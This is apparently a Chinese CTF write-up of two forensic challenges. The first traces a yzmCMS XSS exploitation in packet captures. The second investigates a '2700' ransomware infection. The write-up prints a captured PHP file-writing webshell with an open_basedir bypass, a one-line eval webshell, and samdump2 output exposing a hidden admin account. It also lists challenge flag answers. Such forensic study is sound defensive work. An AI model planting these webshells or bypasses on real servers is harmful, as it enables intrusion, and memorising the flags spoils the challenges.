emergency
任务一


ip 10.0.100.69多次访问管理界面以及在932、894包在admin/system_manage/user_config_edit.html 表单提交了一句话木马
查看返回包,也显示操作成功


这里通过查看是yzmCMS内容管理系统,利用了CVE-2020-35971,一个XSS漏洞,攻击者可利用该漏洞在/admin/system_manage/user_config_edit.html页面注入JS代码。
任务二


根据一句话木马是shell
这里通过D盾查杀也能看出

任务三

查看日志可以看到10.0.100.69先是在进行目录扫描爆破,然后对这个yzmCMSuser_config_edit.html界面提交了一句话木马,初始连接的一句话木马是 configs.cache.php,然后紧接着访问了shell.php


这道题做的时候提取不出这个shell.php

而且通过挂载这个.vmdk查找shell.php文件也找不到,然后赛后看其他的wp,发现可以根据这个shell.php文件的文件大小然后在回收站找到删除的同样大小的文件
通过追踪流查看一个返回包,得到了shell.php的大小43

还有一种方法:因为是找创建新的一句话木马文件的MD5,直接wireshark筛”write“

追踪流查看这个webshell的内容

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| shell = @ini_set("display_errors", "0"); @set_time_limit(0);
$opdir = @ini_get("open_basedir"); if ($opdir) { $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]); $oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir); @array_push($oparr, $ocwd, sys_get_temp_dir()); foreach ($oparr as $item) { if (!@is_writable($item)) { continue; }; $tmdir = $item . "/.a5293"; @mkdir($tmdir); if (!@file_exists($tmdir)) { continue; } $tmdir = realpath($tmdir); @chdir($tmdir); @ini_set("open_basedir", ".."); $cntarr = @preg_split("/\\\\|\//", $tmdir); for ($i = 0; $i < sizeof($cntarr); $i++) { @chdir(".."); }; @ini_set("open_basedir", "/"); @rmdir($tmdir); break; }; };
function asenc($out) { return $out; };
function asoutput() { $output = ob_get_contents(); ob_end_clean(); echo "8484" . "cc18c"; echo @asenc($output); echo "86bcb" . "d0c52"; }
ob_start(); try { $f = base64_decode(substr($_POST["d498cc0709be5f"], 2)); //解码文件名 $c = $_POST["m58d3ef53bcb85"]; //获取文件内容 $c = str_replace("\r", "", $c); $c = str_replace("\n", "", $c); $buf = ""; for ($i = 0; $i < strlen($c); $i += 2) { $buf .= urldecode("%" . substr($c, $i, 2)); } echo (@fwrite(fopen($f, "a"), $buf) ? "1" : "0"); } catch (Exception $e) { echo "ERROR://" . $e->getMessage(); };
asoutput(); die();
|

十六进制转字符串,得到上传的文件内容 <?php @eval($_POST["qsnctf_2025_lab"]); ?>

然后计算MD5,得到91a29f36879b024d661851b7765f3969

任务四

这里也是筛“write”
追踪流分析


得到
任务五

过滤POST,查看分组字节流,69165包里base64解码看到了shell.exe

任务六

在发现shell.exe的包的前几个POST的包发现了


显然这就是上传的shell.exe文件的内容了,经过进制转换和MD5,得到0410284ea74b11d26f868ead6aa646e1

任务七

在上传这个shell.exe的包后面观察到

得到 flag{4444}
任务八



这里也是过滤POST请求,在73718包
任务九


得到密码P@ssw0rd123

1
| cd /mnt/c_drive/Windows/System32/config/
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| sudo chntpw -l SAM [sudo] password for kali: chntpw version 1.00 140201, (c) Petter N Hagen openHive(SAM) failed: Read-only file system, trying read-only Hive <SAM> name (from header): <\SystemRoot\System32\Config\SAM> ROOT KEY at offset: 0x001020 * Subkey indexing type is: 686c <lh> File size 65536 [10000] bytes, containing 8 pages (+ 1 headerpage) Used for data: 330/27744 blocks/bytes, unused: 21/12960 blocks/bytes.
| RID -|---------- Username ------------| Admin? |- Lock? --| | 01f4 | Administrator | ADMIN | | | 01f7 | DefaultAccount | | dis/lock | | 01f5 | Guest | | dis/lock | | 03e8 | hidden$ | ADMIN | |
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| sudo chntpw -u "hidden$" -v SAM chntpw version 1.00 140201, (c) Petter N Hagen openHive(SAM) failed: Read-only file system, trying read-only Hive <SAM> name (from header): <\SystemRoot\System32\Config\SAM> ROOT KEY at offset: 0x001020 * Subkey indexing type is: 686c <lh>
Last HBIN at offset : 0xa000 First non-HBIN page offset: 0xb000 hdr->unknown4 (version?) : 0x5 File size 65536 [10000] bytes, containing 8 pages (+ 1 headerpage) Used for data: 330/27744 blocks/bytes, unused: 21/12960 blocks/bytes.
Type of hive guessed to be: 1 lmpw_offs: 0x10c, lmpw_len: 24 (0x18) ntpw_offs: 0x124, ntpw_len: 56 (0x38) ================= USER EDIT ====================
RID : 1000 [03e8] Username: hidden$ fullname: comment : homedir :
sam_get_user_grpids: member path: \SAM\Domains\Builtin\Aliases\Members\S-1-5-21-1320223458-2853483990-1479821641\000003E8 sam_get_user_grpids: member path: \SAM\Domains\Account\Aliases\Members\S-1-5-21-1320223458-2853483990-1479821641\000003E8 00000221 = Users (which has 3 members) 00000220 = Administrators (which has 2 members)
Account bits: 0x0010 = [ ] Disabled | [ ] Homedir req. | [ ] Passwd not req. | [ ] Temp. duplicate | [X] Normal account | [ ] NMS account | [ ] Domain trust ac | [ ] Wks trust act. | [ ] Srv trust act | [ ] Pwd don't expir | [ ] Auto lockout | [ ] (unknown 0x08) | [ ] (unknown 0x10) | [ ] (unknown 0x20) | [ ] (unknown 0x40) |
Failed login count: 0, while max tries is: 0 Total login count: 0 Crypted NT pw: 03 00 02 00 10 00 00 00 2f f8 a0 71 22 0a d7 81 Crypted LM pw: 03 00 02 00 00 00 00 00 5f 12 4d 8c 0c 64 e9 c4
- - - - User Edit Menu: 1 - Clear (blank) user password (2 - Unlock and enable user account) [seems unlocked already] 3 - Promote user (make user an administrator) 4 - Add user to a group 5 - Remove user from a group q - Quit editing user, back to user select Select: [q] >
|
这里的 Crypted”并不是真正的加密,而是 RC4 加密的密文,需要用SYSTEM 文件解密才能得到真正的 NTLM 哈希。
Windows 的密码哈希是用 SYSKEY 加密的,而 SYSKEY 存储在 SYSKEY 注册表文件中

使用 chntpw 同时加载 SAM 和 SYSTEM
1
| sudo chntpw -u "hidden$" -v /mnt/c_drive/Windows/System32/config/SAM /mnt/c_drive/Windows/System32/config/SYSTEM
|
由于我的chntpw版本过低,这里使用samdump2工具
1 2 3 4 5 6
| samdump2 /mnt/c_drive/Windows/System32/config/SYSTEM /mnt/c_drive/Windows/System32/config/SAM Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: *disabled* Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: *disabled* :503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: hidden$:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
|
任务十


事件查看器筛4720,得到时间
2700勒索病毒排查
任务一


任务二

预留ID是勒索病毒用来唯一标识受害者的一串字符,攻击者将其作为“凭证”,以便在收到赎金后提供对应的解密工具
文件命名格式:原文件名.id-[预留ID].[攻击者邮箱].2700

4A30C4F9-3524
任务三

查看修改时间
flag{2025/11/19 14:31}
任务四




flag{6eff1ea09e63423a48288a77d97e0cc6}
任务五


1983929223@qq.com
任务六


39.91.141.213
任务七

C2地址是网络攻击中攻击者用于控制受感染设备的服务器地址。
微步沙箱分析这个钓鱼邮件


这里显示两个ip 110.242.70.57和182.9.80.123
其中182.9.80.123很可能是恶意ip

flag{182.9.80.123}
任务八

利用工具diskgenius在桌面发现了flag.bak文件夹

打开发现了flag:flag{92047522e5080bad36eda9d29d5a163e}